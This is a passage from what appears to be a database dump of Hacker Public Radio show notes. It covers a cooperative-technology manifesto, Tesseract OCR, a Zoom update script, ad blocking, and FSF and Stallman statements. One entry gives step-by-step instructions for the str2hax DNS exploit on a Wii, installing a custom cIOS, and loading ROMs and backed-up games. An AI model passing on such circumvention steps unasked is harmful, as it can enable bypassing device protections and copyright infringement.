free\r\nsoftware provide the guidance on \"why\" we are building it: We want to get away from proprietary\r\nsoftware, we want to control our own computing, we want the freedoms to use, learn, modify and\r\nshare, etc. Free software is about our freedoms.</p>\r\n<p>So just like \"free\" is right there in the name, maybe the \"community\" in \"communal software\" or\r\nthe \"cooperative\" in \"cooperative technology\" is\r\nall about the \"who\": Who gets the freedom, who has the influence, who is affected.</p>\r\n<p>And again, lots of people in free software do care about community principles beyond code, care about\r\nsocial responsibility, but the shared baseline is the care for formal, technical and individual user\r\nfreedom: If <em>you</em> receive the code, <em>you</em> are allowed the <em>technical rights</em> to update the code, the\r\ncode or license should not restrict <em>your</em> freedoms, you, the recipient of the software, the hacker,\r\nthe code contributor. It says nothing about <em>practical</em> user freedom and it says nothing about the\r\ncommunity beyond the immediate user.</p>\r\n<hr>\r\n<p>That was my commentary. Now let\'s read the manifesto.</p>\r\n<p><a href=\"https://cooperativetechnology.codeberg.page/\">https://cooperativetechnology.codeberg.page/</a></p>\r\n<hr>\r\n<p>Before I saw the manifesto, I had written a draft list of aspects beyond licensing and contribution\r\nthat determine the social good of your project:\r\n<a href=\"https://libranet.de/display/0b6b25a8-3060-61f6-28df-cae554943983\">https://libranet.de/display/0b6b25a8-3060-61f6-28df-cae554943983</a></p>\r\n<p>The conversations that led directly to the creation of the manifesto:\r\n<a href=\"https://social.polymerwitch.com/@polymerwitch/105934078911643041\">https://social.polymerwitch.com/@polymerwitch/105934078911643041</a>\r\n<a href=\"https://fosstodon.org/@be/105952735879246194\">https://fosstodon.org/@be/105952735879246194</a></p>\r\n<p><a name=\"footnote0\">[0]</a> <a href=\"https://opensource.com/article/18/2/coining-term-open-source-software\">https://opensource.com/article/18/2/coining-term-open-source-software</a></p>\r\n<p><a name=\"footnote1\">[1]</a> <a href=\"https://www.gnu.org/philosophy/open-source-misses-the-point.en.html\">https://www.gnu.org/philosophy/open-source-misses-the-point.en.html</a></p>\r\n<p><a name=\"footnote2\">[2]</a> <a href=\"https://fosstodon.org/@be/105952960559032774\">https://fosstodon.org/@be/105952960559032774</a></p>\r\n<hr>\r\n<h1 id=\"towards-a-cooperative-technology-movement\">Towards A Cooperative Technology Movement</h1>\r\n<p>In response to the surprise, undemocratic reinstatement of Richard Stallman to the board of directors of the Free Software Foundation after his resignation in September 2019, the Free and Open Source Software movement is in the midst of a reckoning.\r\nThe authors of this document recognize and honor the contributions Richard Stallman has made to this movement while unequivocally condemning his harmful behavior which has pushed many capable, dedicated people away from the movement.</p>\r\n<p>Regardless of what happens in the Free Software Foundation, we believe it is time to reflect on the shortcomings of our advocacy so we can grow into a more effective and inclusive movement for justice.\r\nTowards this end, we believe the movement will benefit from new terminology to describe what we do and what we aim for.\r\nRichard Stallman authored the <a href=\"https://gnu.org/philosophy/free-sw.html\">free software definition</a> in 1986.\r\nThis term has always created difficulties communicating the ideas behind it because of the different meanings of the word \"free\" in English.\r\nMoreover, it is not the freedom of machines we are concerned with, but the freedom of humans.\r\nIn response to this and other issues, in 1998, the term <a href=\"https://opensource.org/docs/osd\">open source</a> was promoted using an adapted version of the <a href=\"https://www.debian.org/social_contract#guidelines\">Debian Free Software Guidelines</a>.\r\nThe history of computing in the past 23 years have validated critiques that the term \"open source\" is insufficient for communicating the values behind it.\r\nThe term \"open source\" and the ecosystem of Free and Open Source Software (FOSS) is today used by powerful companies, governments, and other institutions to harm people on enormous scales through <a href=\"https://www.youtube.com/watch?v=0hLjuVyIIrs\">surveillance</a> and <a href=\"https://www.theverge.com/2019/10/9/20906213/github-ice-microsoft-software-email-contract-immigration-nonprofit-donation\">violence</a>.\r\nThese institutions use FOSS to minimize economic costs by benefitting from decades of work done by others, much of which was done by unpaid volunteers motivated by curiosity, passion, and the ideals of the FOSS movement.</p>\r\n<p>We believe a significant reason for the failures of both \"free software\" and \"open source\" to prevent this cooptation is that the men who coined and initially promoted these terms did not and do not critique capitalism.\r\nRichard Stallman has generally <a href=\"https://www.gnu.org/gnu/byte-interview.html\">dodged</a> <a href=\"https://www.gnu.org/gnu/manifesto.html#competition\">the</a> <a href=\"https://www.gnu.org/philosophy/bill-gates-and-other-communists.en.html\">question</a> of whether free software is opposed to capitalism.\r\nIn the historical context of the United States in the 1980s, that may have been a wise decision.\r\nBut that was then, and now it is 2021.\r\nThe promoters of \"open source\" <a href=\"https://www.youtube.com/watch?v=4vW62KqKJ5A&amp;t=2186s\">emphasize its compatibility with capitalism</a> and <a href=\"https://www.youtube.com/watch?v=4vW62KqKJ5A&amp;t=3824s\">go out of their way to distance \"open source\" from critiques of capitalism</a>.\r\nWe believe we need to build on the FOSS movement with an explicitly anticapitalist political movement which proactively collaborates with other movements for justice.</p>\r\n<p>We propose the term \"cooperative technology\" for this movement.\r\nBy \"cooperative technology\", we mean technology that is constructed by and for the people whose lives are affected by its use.\r\nWhile this builds on the Free and Open Source Software movement, we aim to apply the same principles to hardware as well, although the criteria by which we evaluate hardware and software will of course not be identical.\r\nIt is not sufficient to narrowly focus on the people who directly interact with computers.\r\nCooperative software which is run on a server should not be controlled solely by the administrator of the server, but also by the people who interact with the server over a network.\r\nSimilarly, the data generated by the technology and the data which it requires to function should be in the control of the people who are affected by the technology.\r\nCooperative software that uses cameras should not be controlled solely by the people who own the cameras, but also the people who are observed by the cameras.\r\nCooperative electronic medical record systems should not be designed for the interests of insurance companies or hospital administrators, but for the interests of patients and the clinicians who directly use it.</p>\r\n<p>We aim for a world in which all technology is cooperative technology and recognize that any amount of proprietary technology is in conflict with this goal.\r\nAs an anticapitalist movement, we recognize that any institution which motivates people to put money, power, or self-interest above the welfare of humans is in conflict with our goals.\r\nCorporations are beholden to their shareholders who can hold the corporation legally liable for spending money in a way that is not intended to further enrich the shareholders.\r\nOther capitalist forms of enterprise have similar problems, incentivizing the profit of an elite few over the impact their activities have on others.</p>\r\n<p>We are not opposed to exchanges of money being involved in the creation or distribution of software or hardware.\r\nHowever, we should carefully consider the motivational structures of the institutions which fund technology development.\r\nWho benefits from the technology and who determines the priorities of its development and design?\r\nThese are questions we ask about technology whether money is involved or not.\r\nIt is in our interest to use safeguards to ensure that technology always remains controlled by the community which develops and uses it.\r\nCopyleft is one such safeguard, but it is insufficient on its own to prevent cooptation of our movement.\r\nAny cooperative technology project that receives funding from a for-profit enterprise must institute governance structures which prioritize community interests over profit in case there is a conflict between the two.\r\nWe oppose business models which are in conflict with community interests such as <a href=\"https://media.libreplanet.org/u/libreplanet/m/why-i-forked-my-own-project-and-my-own-company-31c3/\">\"open core\"</a>/<a href=\"https://sfconservancy.org/blog/2020/jan/06/copyleft-equality/\">proprietary relicensing</a>.</p>\r\n<p>Similarly, we are opposed to authoritarian and hierarchical governance structures of technology projects such as \"benevolent dictators for life\".\r\nCooperative technology is developed democratically; no single individual should have ultimate authority in cooperative projects.\r\nWhile we recognize the need for leadership and private communication, discussions regarding cooperative technology should take place in public unless there is a specific reason for communications to be private.\r\nOrganizations which advocate for cooperative technology should likewise operate democratically and transparently.</p>\r\n<p>We recognize that creating high quality technology requires much more than engineering skills.\r\nCooperative technology is not only for people who have the skills of writing code (unless the software is for writing code such as a compiler) nor the skills to design hardware.\r\nCooperative technology strives to be easy to use, including for people with disabilities, and acknowledges that this is best accomplished by continual dialog between engineers and users.\r\nProviding such feedback is a valuable way to contribute to the construction of cooperative technology without needing engineering skills.\r\nIdeally, the engineers of the technology should also be using it themselves.\r\nMoreover, there are many ways to contribute to cooperative technology without programming skills such as imagining ideas for new features, reporting bugs, writing documentation, graphic design, translation, promotion, and financial support.</p>\r\n<p>The free software movement has <a href=\"https://archive.fosdem.org/2019/schedule/event/full_software_freedom/\">failed to create a world in which humans in technological societies can live without using proprietary software unless one chooses to live the ascetic lifestyle of Richard Stallman</a>.\r\nExpecting people to not use any proprietary technology and judging people for not meeting this standard pushes people away from our movement.\r\nPeople who are coerced into using proprietary technology deserve our empathy and invitation into our movement, not condescension.\r\nLet us criticize institutions which pressure people into using proprietary technology, not the people who choose to use it.\r\nTo that end, we strive to use cooperative technology tools as much as possible in our efforts to build cooperative technology.</p>\r\n<p>The purpose of this document is <em>not</em> to proclaim a legalistic set of criteria for determining what technology is cooperative and what technology is not.\r\nHistory has demonstrated that this is not an effective political tactic for the reasons explained above.\r\nThe <a href=\"https://gnu.org/philosophy/free-sw.html\">free software definition</a> and the <a href=\"https://opensource.org/docs/osd\">open source definition</a> are useful criteria for evaluating copyright licenses for code, but an effective political movement cannot be so narrowly focused on legalistic and binary judgements of copyright licenses to judge whether certain technology aligns with our goals.\r\nWe believe the focus of the cooperative technology movement should be on the practical impacts that the use of technology has on humans and the universe we inhabit.\r\nThe scope of this extends beyond humans and must consider the <a href=\"https://www.bbc.com/news/technology-56012952\">environment around us</a>.\r\nMoreover, we believe it is counterproductive to have a small self-appointed group of privileged men determine what our movement\'s terminology, goals, and tactics are.\r\nWe encourage anyone interested in building a better world through technology to engage in discussions with your own communities about what you want \"cooperative technology\" to mean.</p>\r\n<p>While we agree with the Ethical Software Movement that we must resist when our efforts are coopted for unjust purposes, we reject putting restrictions on the ways people may use software through copyright licenses as a wise tactic for achieving our goals.\r\nThe history of the Free and Open Source Software movement has shown that the proliferation of incompatible copyright licenses which prohibit software from being legally combined creates more obstacles than opportunities for our movement.\r\nAny new copyright licenses for use with cooperative software must be written with this consideration in mind to intentionally avoid fracturing the software ecosystem.\r\nAdopting incompatible copyright licenses for different software would make it easy for our adversaries to divide and suppress the movement.</p>\r\n<p>Language is constructed collectively and is always evolving.\r\nIt is counterproductive to our movement to refuse to collaborate with people because they use the words \"open source\" or \"free software\" to describe their work.\r\nThey may even disagree with the entire premise of this document.\r\nThat does not mean we should not work together towards shared goals, but we should be conscious that our goals may not perfectly align and this may cause tension in our communities from time to time.\r\nWe invite anyone to collaborate with us who is interested in building a better world and treats us and others in our communities with dignity and respect.</p>\r\n<p>This document is licensed under the <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">CC0 license</a>. Contributions are welcome on <a href=\"https://codeberg.org/CooperativeTechnology/website\">Codeberg</a>. If you disagree with parts of this, feel free to fork it and say what <em>you</em> want to say.</p>\r\n',311,0,0,'CC-0','open source, free software, communal software, cooperative technology, politics, philosophy',0,0,1),
(3315,'2021-04-16','tesseract optical character recognition',128,'How to use this amazing tool','<h3>Tesseract (software)</h3>\r\n<em>From Wikipedia, the free encyclopedia</em>\r\n<p>\r\nTesseract is an optical character recognition engine for various operating systems. It is free software, released under the Apache License. Originally developed by Hewlett-Packard as proprietary software in the 1980s, it was released as open source in 2005 and development has been sponsored by Google since 2006.<br />\r\nIn 2006, Tesseract was considered one of the most accurate open-source OCR engines then available.\r\n</p>\r\n<pre>\r\n<code>\r\n$ tesseract -l eng english-page.jpg english\r\n$ tesseract -l nld dutch-page.jpg dutch\r\n$ ls\r\ndutch.txt english.txt \r\n</code>\r\n</pre>',30,0,0,'CC-BY-SA','Tesseract, OCR, optical character recognition',0,0,1),
(3319,'2021-04-22','Linux Inlaws S01E28: Politicians and artificial intelligence part 1',4023,'Part 1 of a miniseries on AI, ML, DL and other fun','<p>In this episode, our two heroes explore the realm of artificial intelligence, paying special attention to deep learning (hoping that some\r\nof the stuff may rub on them :-). In this first part of a three-part mini-series the chaps discuss the foundation including networks, neurons\r\nand other topics of advanced black magic, carefully avoiding the temptations of introducing too much maths (we\'ll leave this to the Grumpy Old Coders :-).</p>\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Artificial intelligence: <a href=\"https://en.wikipedia.org/wiki/Artificial_intelligence\" target=\"_blank\">https://en.wikipedia.org/wiki/Artificial_intelligence</a>\r\n</li>\r\n<li>Machine learning: <a href=\"https://www.mygreatlearning.com/blog/machine-learning-tutorial\" target=\"_blank\">https://www.mygreatlearning.com/blog/machine-learning-tutorial</a>\r\n</li>\r\n<li>Deep learning: <a href=\"https://www.guru99.com/deep-learning-tutorial.html\" target=\"_blank\">https://www.guru99.com/deep-learning-tutorial.html</a>\r\n</li>\r\n<li>Artificial neural networks (ANN): <a href=\"https://www.asimovinstitute.org/neural-network-zoo\" target=\"_blank\">https://www.asimovinstitute.org/neural-network-zoo</a>\r\n</li>\r\n<li>Back-propagation ANNs (BPN): <a href=\"https://en.wikipedia.org/wiki/Backpropagation\" target=\"_blank\">https://en.wikipedia.org/wiki/Backpropagation</a>\r\n</li>\r\n<li>DWAVE: <a href=\"https://www.dwavesys.com/quantum-computing\" target=\"_blank\">https://www.dwavesys.com/quantum-computing</a>\r\n</li>\r\n<li>Convolutional neural networks (CNNs): <a href=\"https://en.wikipedia.org/wiki/Convolutional_neural_network\" target=\"_blank\">https://en.wikipedia.org/wiki/Convolutional_neural_network</a>\r\n</li>\r\n<li>Generative adversarial network (GAN): <a href=\"https://en.wikipedia.org/wiki/Generative_adversarial_network\" target=\"_blank\">https://en.wikipedia.org/wiki/Generative_adversarial_network</a>\r\n</li>\r\n<li>Spy vs. Spy: <a href=\"https://toonopedia.com/spyvsspy.htm\" target=\"_blank\">https://toonopedia.com/spyvsspy.htm</a>\r\n</li>\r\n<li>Atlantik Ale: <a href=\"https://www.stoertebeker.com/stoertebeker-atlantik-ale.html\" target=\"_blank\">https://www.stoertebeker.com/stoertebeker-atlantik-ale.html</a>\r\n</li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Policitians, artificial intelligence, deep learning, convolutions',0,0,1),
(3313,'2021-04-14','Zoom Update',102,'Scripted Zoom Update with History on Fedora.','<ul>\r\n<li>Script and instruction at <a href=\"https://james.toebesacademy.com/ZoomUpdate.html\" class=\"uri\">https://james.toebesacademy.com/ZoomUpdate.html</a></li>\r\n<li>GitHub Repo: <a href=\"https://github.com/ToeJet/Scripts/tree/main/ZOOMUPDATE\" class=\"uri\">https://github.com/ToeJet/Scripts/tree/main/ZOOMUPDATE</a></li>\r\n</ul>\r\n<p>Zoom does not provide a standard Fedora repo for updating. To get around that, this script will check the zoom fedora download link. If an update is found, it will download the new version, stop the current version from running, then install the updated package. All versions are downloaded to the same folder as the script. Filename is changed to match datestamp.</p>\r\n<p>I leave my linux machine always running. I schedule this to run just after midnight. If no update, nothing happens. If zoom is not running when I unlock, I launch zoom as normal.</p>\r\n<ul>\r\n<li>Bash Script.</li>\r\n<li>Uses wget</li>\r\n<li>Cron for scheduling</li>\r\n<li>Download, cron, forget...</li>\r\n<li>Periodically review log to see update history</li>\r\n</ul>\r\n<p>james@toebesacademy.com<br />\r\n<a href=\"https://james.toebesacademy.com\" class=\"uri\">https://james.toebesacademy.com</a><br />\r\nLet me know what you think.</p>\r\n',273,108,1,'CC-BY-SA','zoom update,sysadmin automation',0,0,1),
(3318,'2021-04-21','Modding a Wii classic with a DNS exploit',457,'Modding a Wii with a DNS exploit and using a USB drive to save games','<ol type=\"1\">\r\n<li>Wii Options &gt; Wii Settings</li>\r\n<li>Verify version is 4.3\r\n<ul>\r\n<li>If not,</li>\r\n<li>Is the Wii connected to the internet</li>\r\n<li>If not, go to Connection Settings\r\n<ul>\r\n<li>Pick Connection 1</li>\r\n<li>Enter wifi connection info</li>\r\n<li>perform Wii System Update (Page 3 of Wii Settings)</li>\r\n</ul></li>\r\n</ul></li>\r\n<li>Wii Settings &gt; Internet\r\n<ul>\r\n<li>Go to Change Settings</li>\r\n<li>A few pages over is Auto-Obtain DNS\r\n<ul>\r\n<li>Select No and Advanced Settings</li>\r\n<li>Enter Primary DNS: 97.74.103.14</li>\r\n<li>Enter Secondary DNS: 173.201.71.14</li>\r\n</ul></li>\r\n<li>Confirm and Save Settings</li>\r\n<li>Press Ok to perform Connection Test</li>\r\n<li>This does take a while, be patient because the Wii is slow</li>\r\n<li>Go back a couple of pages to Internet Settings</li>\r\n<li>Go to User Agreements\r\n<ul>\r\n<li>Would you like to use the Wii Shop Channel and WiiConnect24?</li>\r\n<li>Select Yes</li>\r\n<li>You must review the User Agreements before using the Wii network services.</li>\r\n<li>Select Next</li>\r\n<li>Connecting to Internet... Please wait a moment.</li>\r\n<li>Another screen will appear with message to \"Please wait, this will take 1-2 minutes.\"\r\n<ul>\r\n<li>Do NOT press I Accept at this point, or it will go to the previous screen.</li>\r\n<li>These next two screens will show up, one with console text, which is the exploit, and the next look like static. This is ok</li>\r\n<li>The next screen is a message not to be scammed by buying a copy of HackMii. Wait for the option to press \'1\' to continue.</li>\r\n<li>The HackMii menu will now appear, press \'A\' to continue.</li>\r\n<li>On the HackMii installer screen, use the D-pad on the Wii to arrow up to Install The HomeBrew Channel.</li>\r\n</ul></li>\r\n</ul></li>\r\n<li>At this point the Wii can be powered off.</li>\r\n</ul></li>\r\n<li>Install Wii Homebrew Browser <a href=\"https://oscwii.org/\" class=\"uri\">https://oscwii.org/</a>\r\n<ul>\r\n<li>I have read that a 2gb non-hd sd card was needed, but found that up to a 32gb card works just fine.</li>\r\n<li>Remove the sd card and download and extract the zip file on the main page.</li>\r\n<li>Move the folder on the root of the sd card (i.e. <code>apps/homebrew_browser/</code>).</li>\r\n<li>More applications can now be accessed from the Homebrew Browser.</li>\r\n</ul></li>\r\n<li>Adding roms (i.e. Nintendo 64 games)\r\n<ul>\r\n<li>From the Homebrew Browser, add the not64 emulator, as the Wii64 would not save games for me. This is an updated version of the Wii64 emulator.</li>\r\n<li>At the root of the sd card, if it is not already there, create a not64/roms folder and place the roms in here.</li>\r\n</ul></li>\r\n<li>Play Wii games from a USB drive\r\n<ul>\r\n<li>First need to install cIOS (custom OS)\r\n<ul>\r\n<li>Will be installing:\r\n<ul>\r\n<li>cIOS 249 base 56 v10 beta52, some guides say cIOS 249 base 56 beta52-alt, YMMV.</li>\r\n<li>cIOS 250 base 57 v10 beta52</li>\r\n</ul></li>\r\n</ul></li>\r\n<li>From the Homebrew Browser, go to the Utilities tab and install USBLoader and the d2x cIOS installer.</li>\r\n<li>Wait for the app to load.</li>\r\n<li>You will see the main screen, press A\r\n<ul>\r\n<li>Change the following:\r\n<ul>\r\n<li>cIOS to v10 beta 52 d2x-v10-beta52-alt</li>\r\n<li>base to 56</li>\r\n<li>slot to 249</li>\r\n<li>revision to 65535</li>\r\n</ul></li>\r\n<li>Press A to load these values</li>\r\n</ul></li>\r\n<li>The app will go back to the main screen, just go right back into the app.\r\n<ul>\r\n<li>Change the following:\r\n<ul>\r\n<li>cIOS to v10 beta 52 d2x-v10-beta52</li>\r\n<li>base to 57</li>\r\n<li>slot to 250</li>\r\n<li>revision to 65535</li>\r\n</ul></li>\r\n<li>Press A to load these values</li>\r\n</ul></li>\r\n<li>You are now ready to format the external USB drive\r\n<ul>\r\n<li>This can be either FAT32 or ext4</li>\r\n<li>Plug in the USB drive afterwards and load the USBloader</li>\r\n<li>It only works in one USB slot, so if this is not recognized the first time, move the plug to the other slot.</li>\r\n<li>Now you can save games from Wii disks, or load roms from the same drive</li>\r\n<li>Roms are placed at the root of the USB drive with the format of <emulator>/roms/</li>\r\n</ul></li>\r\n</ul></li>\r\n<li>That\'s all.</li>\r\n</ol>\r\n<h3 id=\"sources\">Sources:</h3>\r\n<ul>\r\n<li><p>Homebrew the Nintendo Wii WITHOUT an SD Card or the Internet Channel! (str2hax Tutorial)<br />\r\n<a href=\"https://www.youtube.com/watch?v=Y3jq8dVe2ug&amp;list=PLXCLabMctsBdCKq6d-lpkzVLxIK9W8hjV&amp;index=2\" class=\"uri\">https://www.youtube.com/watch?v=Y3jq8dVe2ug&amp;list=PLXCLabMctsBdCKq6d-lpkzVLxIK9W8hjV&amp;index=2</a></p></li>\r\n<li><p>WiiBrew wiki - Configuring applications<br />\r\n<a href=\"https://wiibrew.org/wiki/Homebrew_Channel#Configuring_Applications\" class=\"uri\">https://wiibrew.org/wiki/Homebrew_Channel#Configuring_Applications</a></p></li>\r\n<li><p>Backup &amp; Play Wii Games on a USB Drive! - USBLoader GX Tutorial<br />\r\n<a href=\"https://www.youtube.com/watch?v=D66pyQLQCmg&amp;list=PLXCLabMctsBdCKq6d-lpkzVLxIK9W8hjV&amp;index=3\" class=\"uri\">https://www.youtube.com/watch?v=D66pyQLQCmg&amp;list=PLXCLabMctsBdCKq6d-lpkzVLxIK9W8hjV&amp;index=3</a></p></li>\r\n<li><p>cIOS Installation<br />\r\n<a href=\"https://sites.google.com/site/completesg/backup-launchers/installation\" class=\"uri\">https://sites.google.com/site/completesg/backup-launchers/installation</a></p></li>\r\n<li><p>str2hax is an exploit for the EULA app in the Wii that doesn\'t require an SD card.<br />\r\n<a href=\"https://www.wiibrew.org/wiki/Str2hax\" class=\"uri\">https://www.wiibrew.org/wiki/Str2hax</a></p></li>\r\n</ul>\r\n<h3 id=\"more-reading\">More reading</h3>\r\n<ul>\r\n<li>WiiBrew main wiki page<br />\r\n<a href=\"https://www.wiibrew.org/wiki/Main_Page\" class=\"uri\">https://www.wiibrew.org/wiki/Main_Page</a></li>\r\n</ul>\r\n<!--\r\nvim: syntax=markdown:ts=8:sw=4:ai:et:tw=78:fo=tcqn:fdm=marker:com+=fb\\:-\r\n-->\r\n',318,0,0,'CC-BY-SA','games, wii console',0,0,1),
(3321,'2021-04-26','DNS66 URANDOM RANDOM',1911,'I talk about D N S 66 and go over some comments from Urandom episode ','<ul>\r\n<li><p>DNS66 apk<br />\r\n<a href=\"https://f-droid.org/packages/org.jak_linux.dns66/\" class=\"uri\">https://f-droid.org/packages/org.jak_linux.dns66/</a></p></li>\r\n<li><p>for more ads:<br />\r\n<a href=\"https://adaway.org/hosts.txt\" class=\"uri\">https://adaway.org/hosts.txt</a></p></li>\r\n<li><p>for blocking pinterest<br />\r\n<a href=\"https://rmccurdy.com/.scripts/hosts.file.pinterest.txt\" class=\"uri\">https://rmccurdy.com/.scripts/hosts.file.pinterest.txt</a></p></li>\r\n<li><p><a href=\"https://www.reddit.com/r/browsers/comments/jr6k6d/is_brave_browser_really_that_bad/\" class=\"uri\">https://www.reddit.com/r/browsers/comments/jr6k6d/is_brave_browser_really_that_bad/</a></p></li>\r\n<li><p><a href=\"https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Youtube-dl-ffmpeg-aria2c-updater-downloader.bat\" class=\"uri\">https://github.com/freeload101/SCRIPTS/blob/master/Windows_Batch/Youtube-dl-ffmpeg-aria2c-updater-downloader.bat</a></p></li>\r\n</ul>\r\n',36,0,0,'CC-BY-SA','block ads,ads,android,youtube,media,streaming',0,0,1),
(3314,'2021-04-15','Introduction... A little bit about me',226,'My first HPR episode, introducing myself and sharing a bit about me','<p>Inoffensive in every region of the world. Meeting me is a completely different story.</p>\r\n<p>Name is Trey. I have been listening to HPR for about a year and after hearing repeated pleas for episodes, I thought I would record some of my own.</p>\r\n<p>I cannot guarantee quality of production nor content, but I hope you find them entertaining.</p>\r\n<p>This episode is simply an introduction with a little bit of information about me</p>\r\n<p>My love of computers began 40 years ago when my parents scrimped and saved to purchase a Texas Instruments TI-99/4a computer. I began programming in BASIC, saving programs to audio cassette tapes. I remember buying magazines to get new programs to enter, save, edit, and turn into something different.</p>\r\n<p>Soon I expanded the computer to include 32K of RAM and an RS232 card which allowed me to connect a 300 BAUD modem and connect to bulletin board systems (BBS). BBS became my connection to the world.</p>\r\n<p>I later upgraded to a Commodore 64, which gave me a floppy disk. Much faster than saving to tape. I studied electronics &amp; computers in college, then went to work for a large computer vendor, traveling all over fixing computers, networks, and peripherals.</p>\r\n<p>After about a decade, I joined a different company where I worked in systems administration and engineering, with a focus on information security. I have worked as security analyst, incident responder, security engineer, and security architect, then built out and managed the SOC for a large organization.</p>\r\n<p>Today, I am still focused on information security and I also dabble in clock repair, Ham radio, electronics, and photography. I may record some episodes on some of these topics in the future.</p>\r\n<p>Thank you for listening to me prattle on about myself, and have an awesome day.</p>\r\n',394,0,0,'CC-BY-SA','Introduction',0,0,1),
(3316,'2021-04-19','FSF and RMS on election of Richard Stallman',841,'The Free Software Foundation (FSF) and Richard Stallman have released statements on the matter','<hr />\r\n<h3>Counter Point</h3>\r\n<p>This show is a counter point to: <a href=\"https://hackerpublicradio.org/eps.php?id=3311\">hpr3311 :: Bradley M. Kuhn\'s article from 2019 on Richard M. Stallman</a>\r\n</p>\r\n<hr />\r\n<p><a href=\"https://en.wikipedia.org/wiki/Richard_Stallman\">From Wikipedia, the free encyclopedia</a> <quote> In September 2019, Richard Stallman resigned as president of the FSF and left his “visiting scientist” role at MIT after making controversial comments about Marvin Minsky’s alleged role in the Jeffrey Epstein sex trafficking scandal. Stallman remained head of the GNU Project nevertheless and, in 2021, he returned to the FSF board of directors. </quote></p>\r\n<p>Since the show was submitted both the Free Software Foundation (FSF) and Richard Stallman have released statements on the matter.</p>\r\n<p>I am submitting those statements here under the terms of the <a href=\"https://creativecommons.org/licenses/by-nd/3.0/\">Creative Commons Attribution-No Derivative Works 3.0 license</a>. The statements contains many links which are available in the shownotes for this show.</p>\r\n<h1 id=\"statement-of-fsf-board-on-election-of-richard-stallman\">Statement of FSF board on election of Richard Stallman</h1>\r\n<p>Published on Apr 12, 2021 10:25 AM by <a href=\"https://www.fsf.org/author/fsfweb\">Free Software Foundation</a></p>\r\n<p>\r\nThe voting members of the Free Software Foundation, which include the board of directors, voted to appoint Richard Stallman to a board seat after several months of thorough discussion and thoughtful deliberation.\r\n</p>\r\n<p>\r\nWe decided to bring RMS back because we missed his wisdom. His historical, legal and technical acumen on free software is unrivaled. He has a deep sensitivity to the ways that technologies can contribute to both the enhancement and the diminution of basic human rights. His global network of connections is invaluable. He remains the most articulate philosopher and an unquestionably dedicated advocate of freedom in computing.\r\n</p>\r\n<p>\r\n<a href=\"https://www.fsf.org/news/rms-addresses-the-free-software-community\">RMS acknowledges that he has made mistakes.</a> He has sincere regrets, especially at how anger toward him personally has negatively impacted the reputation and mission of FSF. While his personal style remains troubling for some, a majority of the board feel his behavior has moderated and believe that his thinking strengthens the work of the FSF in pursuit of its mission.\r\n</p>\r\n<p>\r\nWe take full responsibility for how badly we handled the news of his election to a board seat. We had planned a flow of information that was not executed in a timely manner or delivered in the proper sequence.\r\n</p>\r\n<p>\r\nFSF staff should have been informed and consulted first. The announcement by RMS at LibrePlanet was a complete surprise to staff, all those who worked so hard to organize a great event, to LibrePlanet speakers and to the exhibitors. We had hoped for a more inclusive and thoughtful process and we apologize that this did not occur.\r\n</p>\r\n<p>\r\nIn his position on the board, RMS has the same responsibilities as other members. He is an unpaid volunteer and subject to the organization’s policies, including prohibitions against conflicts of interest and sexual harassment and those outlining whistleblower processes and fiduciary duties. The responsibilities of the board are described at <a href=\"https://www.fsf.org/about/the-role-of-the-fsfs-board-of-directors\">https://www.fsf.org/about/the-role-of-the-fsfs-board-of-directors</a>.\r\n</p>\r\n<p>\r\nWe believe his views will be critical to the FSF as we advance the mission and confront the challenges that software freedom faces.\r\n</p>\r\n<p>\r\nIn recent weeks, the board has <a href=\"https://www.fsf.org/news/preliminary-board-statement-on-fsf-governance\">committed to a series of changes</a> related to <a href=\"https://www.fsf.org/news/update-on-work-to-improve-governance-at-the-fsf\">organizational governance</a>, including plans to adopt a transparent, formal process for identifying appropriate candidates to become new board members, future changes to the organization’s bylaws, and the addition of a staff representative to the board of directors.\r\n</p>\r\n<p>\r\nSelected by FSF’s unionized staff, senior systems administrator <a href=\"https://www.fsf.org/news/welcoming-ian-kelling-to-staff-seat-on-fsfs-board-of-directors\">Ian Kelling was elected</a> to a newly created staff seat on the board of directors as a voting member on March 28.\r\n</p>\r\n<p>\r\nThe FSF board will continue to pursue additional ideas and actions designed to improve transparency and accountability.\r\n</p>\r\n<p>\r\nThere is still considerable work to be done. We recognize the need to attract a new generation of activists for software freedom and to grow the movement. We will report our discussions and activities to the community as we move forward.\r\n</p>\r\n<p>\r\nAs we work on these issues, let’s not forget the purpose of our movement, or the great work of our staff and all the good people of the free software community who are dedicated to users’ freedom.\r\n</p>\r\n<hr />\r\n<h1 id=\"rms-addresses-the-free-software-community\">RMS addresses the free software community</h1>\r\n<p>Published on Apr 12, 2021 10:24 AM by <a href=\"https://www.fsf.org/author/rms\">Richard Stallman</a></p>\r\n<p>\r\nEver since my teenage years, I felt as if there were a filmy curtain separating me from other people my age. I understood the words of their conversations, but I could not grasp why they said what they did. Much later I realized that I didn’t understand the subtle cues that other people were responding to.\r\n</p>\r\n<p>\r\nLater in life, I discovered that some people had negative reactions to my behavior, which I did not even know about. Tending to be direct and honest with my thoughts, I sometimes made others uncomfortable or even offended them – especially women. This was not a choice: I didn’t understand the problem enough to know which choices there were.\r\n</p>\r\n<p>\r\nSometimes I lost my temper because I didn’t have the social skills to avoid it. Some people could cope with this; others were hurt. I apologize to each of them. Please direct your criticism at me, <a href=\"https://www.fsf.org/news/statement-of-fsf-board-on-election-of-richard-stallman\">not at the Free Software Foundation</a>.\r\n</p>\r\n<p>\r\nOccasionally I learned something about relationships and social skills, so over the years I’ve found ways to get better at these situations. When people help me understand an aspect of what went wrong, and that shows me a way of treating people better, I teach myself to recognize when I should act that way. I keep making this effort, and over time, I improve.\r\n</p>\r\n<p>\r\nSome have described me as being “tone-deaf,” and that is fair. With my difficulty in understanding social cues, that tends to happen. For instance, I defended Professor Minsky on an M.I.T. mailing list after someone leaped to the conclusion that he was just guilty as Jeffrey Epstein. To my surprise, some thought my message defended Epstein. As I had stated previously, Epstein is a serial rapist, and rapists should be punished. I wish for his victims and those harmed by him to receive justice.\r\n</p>\r\n<p>\r\nFalse accusations – real or imaginary, against me or against others – especially anger me. I knew Minsky only distantly, but seeing him unjustly accused made me spring to his defense. I would have done it for anyone. Police brutality makes me angry, but when the cops lie about their victims afterwards, that false accusation is the ultimate outrage for me. I condemn racism and sexism, including their systemic forms, so when people say I don’t, that hurts too.\r\n</p>\r\n<p>\r\nIt was right for me to talk about the injustice to Minsky, but it was tone-deaf that I didn’t acknowledge as context the injustice that Epstein did to women or the pain that 